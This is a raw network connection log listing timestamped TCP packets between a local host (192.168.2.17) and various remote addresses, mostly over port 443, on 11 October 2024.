Oct 11, 2024 15:54:23.424560070 CEST	49744	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:23.424631119 CEST	443	49744	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:23.424669981 CEST	49744	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:23.424861908 CEST	443	49744	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:23.424927950 CEST	49744	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:23.424998045 CEST	49744	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:23.424998045 CEST	49744	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:23.425038099 CEST	443	49744	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:23.425061941 CEST	443	49744	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:23.480716944 CEST	49745	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:23.480771065 CEST	443	49745	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:23.480868101 CEST	49745	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:23.481004000 CEST	49745	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:23.481014013 CEST	443	49745	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:24.283099890 CEST	443	49745	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:24.284600973 CEST	49745	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:24.284600973 CEST	49745	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:24.284621000 CEST	443	49745	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:24.284629107 CEST	443	49745	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:24.284693003 CEST	49745	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:24.284701109 CEST	443	49745	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:24.639919996 CEST	443	49745	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:24.639960051 CEST	443	49745	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:24.639988899 CEST	443	49745	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:24.640054941 CEST	49745	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:24.640054941 CEST	49745	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:24.640068054 CEST	443	49745	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:24.640115976 CEST	443	49745	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:24.640453100 CEST	49745	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:24.640453100 CEST	49745	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:24.640522957 CEST	49745	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:24.640533924 CEST	443	49745	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:24.782061100 CEST	49746	443	192.168.2.17	2.23.209.182
Oct 11, 2024 15:54:24.782119989 CEST	443	49746	2.23.209.182	192.168.2.17
Oct 11, 2024 15:54:24.782879114 CEST	49746	443	192.168.2.17	2.23.209.182
Oct 11, 2024 15:54:24.783870935 CEST	49746	443	192.168.2.17	2.23.209.182
Oct 11, 2024 15:54:24.783884048 CEST	443	49746	2.23.209.182	192.168.2.17
Oct 11, 2024 15:54:25.477972031 CEST	443	49746	2.23.209.182	192.168.2.17
Oct 11, 2024 15:54:25.478081942 CEST	49746	443	192.168.2.17	2.23.209.182
Oct 11, 2024 15:54:25.521229029 CEST	49746	443	192.168.2.17	2.23.209.182
Oct 11, 2024 15:54:25.521306992 CEST	443	49746	2.23.209.182	192.168.2.17
Oct 11, 2024 15:54:25.521538019 CEST	443	49746	2.23.209.182	192.168.2.17
Oct 11, 2024 15:54:25.521595955 CEST	49746	443	192.168.2.17	2.23.209.182
Oct 11, 2024 15:54:25.524151087 CEST	49746	443	192.168.2.17	2.23.209.182
Oct 11, 2024 15:54:25.524199963 CEST	443	49746	2.23.209.182	192.168.2.17
Oct 11, 2024 15:54:25.843957901 CEST	443	49746	2.23.209.182	192.168.2.17
Oct 11, 2024 15:54:25.843996048 CEST	443	49746	2.23.209.182	192.168.2.17
Oct 11, 2024 15:54:25.844086885 CEST	49746	443	192.168.2.17	2.23.209.182
Oct 11, 2024 15:54:25.844152927 CEST	443	49746	2.23.209.182	192.168.2.17
Oct 11, 2024 15:54:25.844230890 CEST	49746	443	192.168.2.17	2.23.209.182
Oct 11, 2024 15:54:25.844710112 CEST	443	49746	2.23.209.182	192.168.2.17
Oct 11, 2024 15:54:25.844757080 CEST	443	49746	2.23.209.182	192.168.2.17
Oct 11, 2024 15:54:25.844763041 CEST	49746	443	192.168.2.17	2.23.209.182
Oct 11, 2024 15:54:25.844810009 CEST	49746	443	192.168.2.17	2.23.209.182
Oct 11, 2024 15:54:25.847645998 CEST	49746	443	192.168.2.17	2.23.209.182
Oct 11, 2024 15:54:25.847685099 CEST	443	49746	2.23.209.182	192.168.2.17
Oct 11, 2024 15:54:25.847711086 CEST	49746	443	192.168.2.17	2.23.209.182
Oct 11, 2024 15:54:25.847758055 CEST	49746	443	192.168.2.17	2.23.209.182
Oct 11, 2024 15:54:29.009502888 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 11, 2024 15:54:31.781423092 CEST	49747	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:54:31.781526089 CEST	443	49747	20.109.210.53	192.168.2.17
Oct 11, 2024 15:54:31.781697989 CEST	49747	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:54:31.782033920 CEST	49747	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:54:31.782064915 CEST	443	49747	20.109.210.53	192.168.2.17
Oct 11, 2024 15:54:32.285547018 CEST	49748	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:54:32.285640001 CEST	443	49748	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:32.286005974 CEST	49748	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:54:32.286331892 CEST	49748	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:54:32.286370039 CEST	443	49748	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:32.467791080 CEST	443	49747	20.109.210.53	192.168.2.17
Oct 11, 2024 15:54:32.467880011 CEST	49747	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:54:32.469387054 CEST	49747	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:54:32.469408035 CEST	443	49747	20.109.210.53	192.168.2.17
Oct 11, 2024 15:54:32.469743013 CEST	443	49747	20.109.210.53	192.168.2.17
Oct 11, 2024 15:54:32.477399111 CEST	49747	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:54:32.523401976 CEST	443	49747	20.109.210.53	192.168.2.17
Oct 11, 2024 15:54:32.733823061 CEST	443	49747	20.109.210.53	192.168.2.17
Oct 11, 2024 15:54:32.733865976 CEST	443	49747	20.109.210.53	192.168.2.17
Oct 11, 2024 15:54:32.733956099 CEST	49747	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:54:32.733984947 CEST	443	49747	20.109.210.53	192.168.2.17
Oct 11, 2024 15:54:32.734071970 CEST	49747	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:54:32.735289097 CEST	443	49747	20.109.210.53	192.168.2.17
Oct 11, 2024 15:54:32.735353947 CEST	49747	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:54:32.735368967 CEST	443	49747	20.109.210.53	192.168.2.17
Oct 11, 2024 15:54:32.735428095 CEST	443	49747	20.109.210.53	192.168.2.17
Oct 11, 2024 15:54:32.735465050 CEST	443	49747	20.109.210.53	192.168.2.17
Oct 11, 2024 15:54:32.735466003 CEST	49747	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:54:32.735528946 CEST	49747	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:54:32.742867947 CEST	49747	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:54:32.742887020 CEST	443	49747	20.109.210.53	192.168.2.17
Oct 11, 2024 15:54:32.742923021 CEST	49747	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:54:32.742930889 CEST	443	49747	20.109.210.53	192.168.2.17
Oct 11, 2024 15:54:32.767966032 CEST	443	49748	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:32.768229961 CEST	49748	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:54:32.768263102 CEST	443	49748	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:32.769346952 CEST	443	49748	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:32.769711018 CEST	49748	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:54:32.769881964 CEST	49748	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:54:32.769881964 CEST	443	49748	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:32.769949913 CEST	49748	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:54:32.769984961 CEST	443	49748	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:32.770061016 CEST	49748	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:54:32.770126104 CEST	443	49748	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:33.040859938 CEST	443	49748	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:33.040906906 CEST	443	49748	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:33.040945053 CEST	443	49748	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:33.040973902 CEST	49748	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:54:33.040993929 CEST	443	49748	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:33.041007996 CEST	443	49748	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:33.041029930 CEST	49748	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:54:33.041084051 CEST	443	49748	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:33.041157007 CEST	49748	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:54:33.041759014 CEST	49748	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:54:33.041780949 CEST	443	49748	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:33.048135996 CEST	49749	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:54:33.048223972 CEST	443	49749	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:33.048297882 CEST	49749	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:54:33.048564911 CEST	49749	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:54:33.048600912 CEST	443	49749	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:33.105824947 CEST	49750	443	192.168.2.17	188.114.97.3
Oct 11, 2024 15:54:33.105854034 CEST	443	49750	188.114.97.3	192.168.2.17
Oct 11, 2024 15:54:33.106225014 CEST	49750	443	192.168.2.17	188.114.97.3
Oct 11, 2024 15:54:33.106434107 CEST	49750	443	192.168.2.17	188.114.97.3
Oct 11, 2024 15:54:33.106446981 CEST	443	49750	188.114.97.3	192.168.2.17
Oct 11, 2024 15:54:33.504978895 CEST	443	49749	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:33.505259037 CEST	49749	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:54:33.505289078 CEST	443	49749	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:33.505748034 CEST	443	49749	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:33.506253004 CEST	49749	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:54:33.506333113 CEST	443	49749	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:33.506478071 CEST	49749	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:54:33.547445059 CEST	443	49749	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:33.576184034 CEST	443	49750	188.114.97.3	192.168.2.17
Oct 11, 2024 15:54:33.576628923 CEST	49750	443	192.168.2.17	188.114.97.3
Oct 11, 2024 15:54:33.576653957 CEST	443	49750	188.114.97.3	192.168.2.17
Oct 11, 2024 15:54:33.578296900 CEST	443	49750	188.114.97.3	192.168.2.17
Oct 11, 2024 15:54:33.579346895 CEST	49750	443	192.168.2.17	188.114.97.3
Oct 11, 2024 15:54:33.596995115 CEST	49750	443	192.168.2.17	188.114.97.3
Oct 11, 2024 15:54:33.597234011 CEST	443	49750	188.114.97.3	192.168.2.17
Oct 11, 2024 15:54:33.597402096 CEST	49750	443	192.168.2.17	188.114.97.3
Oct 11, 2024 15:54:33.638295889 CEST	443	49749	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:33.638400078 CEST	443	49749	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:33.638465881 CEST	49749	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:54:33.639420033 CEST	443	49750	188.114.97.3	192.168.2.17
Oct 11, 2024 15:54:33.641705990 CEST	49749	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:54:33.641726971 CEST	443	49749	104.18.94.41	192.168.2.17
Oct 11, 2024 15:54:33.647361994 CEST	49750	443	192.168.2.17	188.114.97.3
Oct 11, 2024 15:54:33.647388935 CEST	443	49750	188.114.97.3	192.168.2.17
Oct 11, 2024 15:54:33.694514990 CEST	49750	443	192.168.2.17	188.114.97.3
Oct 11, 2024 15:54:34.323857069 CEST	443	49750	188.114.97.3	192.168.2.17
Oct 11, 2024 15:54:34.324167967 CEST	443	49750	188.114.97.3	192.168.2.17
Oct 11, 2024 15:54:34.324328899 CEST	49750	443	192.168.2.17	188.114.97.3
Oct 11, 2024 15:54:34.325122118 CEST	49750	443	192.168.2.17	188.114.97.3
Oct 11, 2024 15:54:34.325143099 CEST	443	49750	188.114.97.3	192.168.2.17
Oct 11, 2024 15:54:34.364800930 CEST	49753	443	192.168.2.17	188.114.96.3
Oct 11, 2024 15:54:34.364845037 CEST	443	49753	188.114.96.3	192.168.2.17
Oct 11, 2024 15:54:34.364958048 CEST	49753	443	192.168.2.17	188.114.96.3
Oct 11, 2024 15:54:34.365122080 CEST	49753	443	192.168.2.17	188.114.96.3
Oct 11, 2024 15:54:34.365139008 CEST	443	49753	188.114.96.3	192.168.2.17
Oct 11, 2024 15:54:34.843226910 CEST	443	49753	188.114.96.3	192.168.2.17
Oct 11, 2024 15:54:34.843498945 CEST	49753	443	192.168.2.17	188.114.96.3
Oct 11, 2024 15:54:34.843535900 CEST	443	49753	188.114.96.3	192.168.2.17
Oct 11, 2024 15:54:34.844983101 CEST	443	49753	188.114.96.3	192.168.2.17
Oct 11, 2024 15:54:34.845088005 CEST	49753	443	192.168.2.17	188.114.96.3
Oct 11, 2024 15:54:34.845819950 CEST	49753	443	192.168.2.17	188.114.96.3
Oct 11, 2024 15:54:34.845900059 CEST	443	49753	188.114.96.3	192.168.2.17
Oct 11, 2024 15:54:34.846168041 CEST	49753	443	192.168.2.17	188.114.96.3
Oct 11, 2024 15:54:34.846178055 CEST	443	49753	188.114.96.3	192.168.2.17
Oct 11, 2024 15:54:34.891567945 CEST	49753	443	192.168.2.17	188.114.96.3
Oct 11, 2024 15:54:35.449187994 CEST	49754	443	192.168.2.17	99.86.4.116
Oct 11, 2024 15:54:35.449295044 CEST	443	49754	99.86.4.116	192.168.2.17
Oct 11, 2024 15:54:35.449378967 CEST	49754	443	192.168.2.17	99.86.4.116
Oct 11, 2024 15:54:35.449599981 CEST	49754	443	192.168.2.17	99.86.4.116
Oct 11, 2024 15:54:35.449635983 CEST	443	49754	99.86.4.116	192.168.2.17
Oct 11, 2024 15:54:35.450809956 CEST	49755	443	192.168.2.17	216.58.206.68
Oct 11, 2024 15:54:35.450891972 CEST	443	49755	216.58.206.68	192.168.2.17
Oct 11, 2024 15:54:35.450963974 CEST	49755	443	192.168.2.17	216.58.206.68
Oct 11, 2024 15:54:35.451757908 CEST	49755	443	192.168.2.17	216.58.206.68
Oct 11, 2024 15:54:35.451787949 CEST	443	49755	216.58.206.68	192.168.2.17
Oct 11, 2024 15:54:35.459543943 CEST	49756	443	192.168.2.17	52.222.236.22
Oct 11, 2024 15:54:35.459593058 CEST	443	49756	52.222.236.22	192.168.2.17
Oct 11, 2024 15:54:35.459762096 CEST	49756	443	192.168.2.17	52.222.236.22
Oct 11, 2024 15:54:35.460010052 CEST	49756	443	192.168.2.17	52.222.236.22
Oct 11, 2024 15:54:35.460043907 CEST	443	49756	52.222.236.22	192.168.2.17
Oct 11, 2024 15:54:35.460319042 CEST	49757	443	192.168.2.17	35.190.19.88
Oct 11, 2024 15:54:35.460341930 CEST	443	49757	35.190.19.88	192.168.2.17
Oct 11, 2024 15:54:35.460422993 CEST	49757	443	192.168.2.17	35.190.19.88
Oct 11, 2024 15:54:35.460629940 CEST	49757	443	192.168.2.17	35.190.19.88
Oct 11, 2024 15:54:35.460649967 CEST	443	49757	35.190.19.88	192.168.2.17
Oct 11, 2024 15:54:35.466403961 CEST	49758	443	192.168.2.17	18.245.86.4
Oct 11, 2024 15:54:35.466423988 CEST	443	49758	18.245.86.4	192.168.2.17
Oct 11, 2024 15:54:35.466577053 CEST	49758	443	192.168.2.17	18.245.86.4
Oct 11, 2024 15:54:35.467319965 CEST	49758	443	192.168.2.17	18.245.86.4
Oct 11, 2024 15:54:35.467343092 CEST	443	49758	18.245.86.4	192.168.2.17
Oct 11, 2024 15:54:35.495354891 CEST	49762	443	192.168.2.17	54.77.0.81
Oct 11, 2024 15:54:35.495441914 CEST	443	49762	54.77.0.81	192.168.2.17
Oct 11, 2024 15:54:35.495552063 CEST	49762	443	192.168.2.17	54.77.0.81
Oct 11, 2024 15:54:35.495737076 CEST	49762	443	192.168.2.17	54.77.0.81
Oct 11, 2024 15:54:35.495762110 CEST	443	49762	54.77.0.81	192.168.2.17
Oct 11, 2024 15:54:35.519458055 CEST	443	49753	188.114.96.3	192.168.2.17
Oct 11, 2024 15:54:35.519715071 CEST	443	49753	188.114.96.3	192.168.2.17
Oct 11, 2024 15:54:35.519799948 CEST	49753	443	192.168.2.17	188.114.96.3
Oct 11, 2024 15:54:35.520185947 CEST	49753	443	192.168.2.17	188.114.96.3
Oct 11, 2024 15:54:35.520201921 CEST	443	49753	188.114.96.3	192.168.2.17
Oct 11, 2024 15:54:35.545794010 CEST	49763	443	192.168.2.17	18.245.86.6
Oct 11, 2024 15:54:35.545845985 CEST	443	49763	18.245.86.6	192.168.2.17
Oct 11, 2024 15:54:35.545926094 CEST	49763	443	192.168.2.17	18.245.86.6
Oct 11, 2024 15:54:35.546082020 CEST	49763	443	192.168.2.17	18.245.86.6
Oct 11, 2024 15:54:35.546097994 CEST	443	49763	18.245.86.6	192.168.2.17
Oct 11, 2024 15:54:35.919181108 CEST	443	49757	35.190.19.88	192.168.2.17
Oct 11, 2024 15:54:35.919451952 CEST	49757	443	192.168.2.17	35.190.19.88
Oct 11, 2024 15:54:35.919501066 CEST	443	49757	35.190.19.88	192.168.2.17
Oct 11, 2024 15:54:35.920398951 CEST	443	49757	35.190.19.88	192.168.2.17
Oct 11, 2024 15:54:35.920469999 CEST	49757	443	192.168.2.17	35.190.19.88
Oct 11, 2024 15:54:35.921322107 CEST	49757	443	192.168.2.17	35.190.19.88
Oct 11, 2024 15:54:35.921392918 CEST	443	49757	35.190.19.88	192.168.2.17
Oct 11, 2024 15:54:35.976543903 CEST	49757	443	192.168.2.17	35.190.19.88
Oct 11, 2024 15:54:35.976572037 CEST	443	49757	35.190.19.88	192.168.2.17
Oct 11, 2024 15:54:36.024533033 CEST	49757	443	192.168.2.17	35.190.19.88
Oct 11, 2024 15:54:36.113883972 CEST	443	49755	216.58.206.68	192.168.2.17
Oct 11, 2024 15:54:36.114392996 CEST	49755	443	192.168.2.17	216.58.206.68
Oct 11, 2024 15:54:36.114439011 CEST	443	49755	216.58.206.68	192.168.2.17
Oct 11, 2024 15:54:36.117728949 CEST	443	49755	216.58.206.68	192.168.2.17
Oct 11, 2024 15:54:36.117810965 CEST	49755	443	192.168.2.17	216.58.206.68
Oct 11, 2024 15:54:36.118113995 CEST	49755	443	192.168.2.17	216.58.206.68
Oct 11, 2024 15:54:36.118182898 CEST	443	49755	216.58.206.68	192.168.2.17
Oct 11, 2024 15:54:36.124928951 CEST	443	49762	54.77.0.81	192.168.2.17
Oct 11, 2024 15:54:36.125201941 CEST	49762	443	192.168.2.17	54.77.0.81
Oct 11, 2024 15:54:36.125247002 CEST	443	49762	54.77.0.81	192.168.2.17
Oct 11, 2024 15:54:36.126955032 CEST	443	49762	54.77.0.81	192.168.2.17
Oct 11, 2024 15:54:36.127036095 CEST	49762	443	192.168.2.17	54.77.0.81
Oct 11, 2024 15:54:36.127806902 CEST	49762	443	192.168.2.17	54.77.0.81
Oct 11, 2024 15:54:36.127897024 CEST	443	49762	54.77.0.81	192.168.2.17
Oct 11, 2024 15:54:36.167536974 CEST	49762	443	192.168.2.17	54.77.0.81
Oct 11, 2024 15:54:36.167551041 CEST	49755	443	192.168.2.17	216.58.206.68
Oct 11, 2024 15:54:36.167556047 CEST	443	49762	54.77.0.81	192.168.2.17
Oct 11, 2024 15:54:36.167566061 CEST	443	49755	216.58.206.68	192.168.2.17
Oct 11, 2024 15:54:36.179150105 CEST	443	49754	99.86.4.116	192.168.2.17
Oct 11, 2024 15:54:36.179410934 CEST	49754	443	192.168.2.17	99.86.4.116
Oct 11, 2024 15:54:36.179428101 CEST	443	49754	99.86.4.116	192.168.2.17
Oct 11, 2024 15:54:36.180852890 CEST	443	49754	99.86.4.116	192.168.2.17
Oct 11, 2024 15:54:36.180938005 CEST	49754	443	192.168.2.17	99.86.4.116
Oct 11, 2024 15:54:36.181935072 CEST	49754	443	192.168.2.17	99.86.4.116
Oct 11, 2024 15:54:36.182005882 CEST	443	49754	99.86.4.116	192.168.2.17
Oct 11, 2024 15:54:36.189397097 CEST	443	49758	18.245.86.4	192.168.2.17
Oct 11, 2024 15:54:36.189649105 CEST	49758	443	192.168.2.17	18.245.86.4
Oct 11, 2024 15:54:36.189668894 CEST	443	49758	18.245.86.4	192.168.2.17
Oct 11, 2024 15:54:36.191097021 CEST	443	49758	18.245.86.4	192.168.2.17
Oct 11, 2024 15:54:36.191178083 CEST	49758	443	192.168.2.17	18.245.86.4
Oct 11, 2024 15:54:36.192126989 CEST	49758	443	192.168.2.17	18.245.86.4
Oct 11, 2024 15:54:36.192219973 CEST	443	49758	18.245.86.4	192.168.2.17
Oct 11, 2024 15:54:36.215563059 CEST	49755	443	192.168.2.17	216.58.206.68
Oct 11, 2024 15:54:36.215594053 CEST	49762	443	192.168.2.17	54.77.0.81
Oct 11, 2024 15:54:36.218683958 CEST	443	49756	52.222.236.22	192.168.2.17
Oct 11, 2024 15:54:36.218908072 CEST	49756	443	192.168.2.17	52.222.236.22
Oct 11, 2024 15:54:36.218930960 CEST	443	49756	52.222.236.22	192.168.2.17
Oct 11, 2024 15:54:36.220370054 CEST	443	49756	52.222.236.22	192.168.2.17
Oct 11, 2024 15:54:36.220437050 CEST	49756	443	192.168.2.17	52.222.236.22
Oct 11, 2024 15:54:36.221385002 CEST	49756	443	192.168.2.17	52.222.236.22
Oct 11, 2024 15:54:36.221462011 CEST	443	49756	52.222.236.22	192.168.2.17
Oct 11, 2024 15:54:36.231533051 CEST	49754	443	192.168.2.17	99.86.4.116
Oct 11, 2024 15:54:36.231554031 CEST	443	49754	99.86.4.116	192.168.2.17
Oct 11, 2024 15:54:36.231595993 CEST	49758	443	192.168.2.17	18.245.86.4
Oct 11, 2024 15:54:36.231637955 CEST	443	49758	18.245.86.4	192.168.2.17
Oct 11, 2024 15:54:36.263680935 CEST	49756	443	192.168.2.17	52.222.236.22
Oct 11, 2024 15:54:36.263705015 CEST	443	49756	52.222.236.22	192.168.2.17
Oct 11, 2024 15:54:36.279514074 CEST	49754	443	192.168.2.17	99.86.4.116
Oct 11, 2024 15:54:36.279656887 CEST	49758	443	192.168.2.17	18.245.86.4
Oct 11, 2024 15:54:36.293126106 CEST	443	49763	18.245.86.6	192.168.2.17
Oct 11, 2024 15:54:36.293405056 CEST	49763	443	192.168.2.17	18.245.86.6
Oct 11, 2024 15:54:36.293464899 CEST	443	49763	18.245.86.6	192.168.2.17
Oct 11, 2024 15:54:36.293957949 CEST	443	49763	18.245.86.6	192.168.2.17
Oct 11, 2024 15:54:36.294028044 CEST	49763	443	192.168.2.17	18.245.86.6
Oct 11, 2024 15:54:36.294948101 CEST	443	49763	18.245.86.6	192.168.2.17
Oct 11, 2024 15:54:36.295063019 CEST	49763	443	192.168.2.17	18.245.86.6
Oct 11, 2024 15:54:36.295891047 CEST	49763	443	192.168.2.17	18.245.86.6
Oct 11, 2024 15:54:36.296129942 CEST	49763	443	192.168.2.17	18.245.86.6
Oct 11, 2024 15:54:36.296152115 CEST	443	49763	18.245.86.6	192.168.2.17
Oct 11, 2024 15:54:36.311568975 CEST	49756	443	192.168.2.17	52.222.236.22
Oct 11, 2024 15:54:36.339401007 CEST	443	49763	18.245.86.6	192.168.2.17
Oct 11, 2024 15:54:36.343570948 CEST	49763	443	192.168.2.17	18.245.86.6
Oct 11, 2024 15:54:36.343637943 CEST	443	49763	18.245.86.6	192.168.2.17
Oct 11, 2024 15:54:36.391568899 CEST	49763	443	192.168.2.17	18.245.86.6
Oct 11, 2024 15:54:36.707186937 CEST	443	49763	18.245.86.6	192.168.2.17
Oct 11, 2024 15:54:36.707643986 CEST	443	49763	18.245.86.6	192.168.2.17
Oct 11, 2024 15:54:36.707722902 CEST	49763	443	192.168.2.17	18.245.86.6
Oct 11, 2024 15:54:36.707747936 CEST	443	49763	18.245.86.6	192.168.2.17
Oct 11, 2024 15:54:36.707979918 CEST	443	49763	18.245.86.6	192.168.2.17
Oct 11, 2024 15:54:36.708044052 CEST	49763	443	192.168.2.17	18.245.86.6
Oct 11, 2024 15:54:36.708662987 CEST	49763	443	192.168.2.17	18.245.86.6
Oct 11, 2024 15:54:36.708681107 CEST	443	49763	18.245.86.6	192.168.2.17
Oct 11, 2024 15:54:36.823024988 CEST	49764	443	192.168.2.17	18.245.86.11
Oct 11, 2024 15:54:36.823074102 CEST	443	49764	18.245.86.11	192.168.2.17
Oct 11, 2024 15:54:36.823158979 CEST	49764	443	192.168.2.17	18.245.86.11
Oct 11, 2024 15:54:36.823524952 CEST	49764	443	192.168.2.17	18.245.86.11
Oct 11, 2024 15:54:36.823538065 CEST	443	49764	18.245.86.11	192.168.2.17
Oct 11, 2024 15:54:37.817256927 CEST	443	49764	18.245.86.11	192.168.2.17
Oct 11, 2024 15:54:37.817599058 CEST	49764	443	192.168.2.17	18.245.86.11
Oct 11, 2024 15:54:37.817663908 CEST	443	49764	18.245.86.11	192.168.2.17
Oct 11, 2024 15:54:37.818842888 CEST	443	49764	18.245.86.11	192.168.2.17
Oct 11, 2024 15:54:37.818928003 CEST	49764	443	192.168.2.17	18.245.86.11
Oct 11, 2024 15:54:37.821346045 CEST	443	49764	18.245.86.11	192.168.2.17
Oct 11, 2024 15:54:37.821414948 CEST	49764	443	192.168.2.17	18.245.86.11
Oct 11, 2024 15:54:37.821594000 CEST	49764	443	192.168.2.17	18.245.86.11
Oct 11, 2024 15:54:37.821770906 CEST	443	49764	18.245.86.11	192.168.2.17
Oct 11, 2024 15:54:37.821772099 CEST	49764	443	192.168.2.17	18.245.86.11
Oct 11, 2024 15:54:37.861541986 CEST	49764	443	192.168.2.17	18.245.86.11
Oct 11, 2024 15:54:37.861560106 CEST	443	49764	18.245.86.11	192.168.2.17
Oct 11, 2024 15:54:37.909534931 CEST	49764	443	192.168.2.17	18.245.86.11
Oct 11, 2024 15:54:38.115653992 CEST	443	49764	18.245.86.11	192.168.2.17
Oct 11, 2024 15:54:38.115712881 CEST	443	49764	18.245.86.11	192.168.2.17
Oct 11, 2024 15:54:38.115866899 CEST	443	49764	18.245.86.11	192.168.2.17
Oct 11, 2024 15:54:38.115938902 CEST	49764	443	192.168.2.17	18.245.86.11
Oct 11, 2024 15:54:38.116800070 CEST	49764	443	192.168.2.17	18.245.86.11
Oct 11, 2024 15:54:38.116835117 CEST	443	49764	18.245.86.11	192.168.2.17
Oct 11, 2024 15:54:46.089247942 CEST	443	49755	216.58.206.68	192.168.2.17
Oct 11, 2024 15:54:46.089343071 CEST	443	49755	216.58.206.68	192.168.2.17
Oct 11, 2024 15:54:46.089418888 CEST	49755	443	192.168.2.17	216.58.206.68
Oct 11, 2024 15:54:47.632275105 CEST	49755	443	192.168.2.17	216.58.206.68
Oct 11, 2024 15:54:47.632329941 CEST	443	49755	216.58.206.68	192.168.2.17
Oct 11, 2024 15:54:48.252696037 CEST	49767	443	192.168.2.17	142.250.186.68
Oct 11, 2024 15:54:48.252815008 CEST	443	49767	142.250.186.68	192.168.2.17
Oct 11, 2024 15:54:48.253068924 CEST	49767	443	192.168.2.17	142.250.186.68
Oct 11, 2024 15:54:48.253180027 CEST	49767	443	192.168.2.17	142.250.186.68
Oct 11, 2024 15:54:48.253201008 CEST	443	49767	142.250.186.68	192.168.2.17
Oct 11, 2024 15:54:48.918497086 CEST	443	49767	142.250.186.68	192.168.2.17
Oct 11, 2024 15:54:48.918849945 CEST	49767	443	192.168.2.17	142.250.186.68
Oct 11, 2024 15:54:48.918927908 CEST	443	49767	142.250.186.68	192.168.2.17
Oct 11, 2024 15:54:48.919275999 CEST	443	49767	142.250.186.68	192.168.2.17
Oct 11, 2024 15:54:48.919693947 CEST	49767	443	192.168.2.17	142.250.186.68
Oct 11, 2024 15:54:48.919766903 CEST	443	49767	142.250.186.68	192.168.2.17
Oct 11, 2024 15:54:48.970711946 CEST	49767	443	192.168.2.17	142.250.186.68
Oct 11, 2024 15:54:58.827071905 CEST	443	49767	142.250.186.68	192.168.2.17
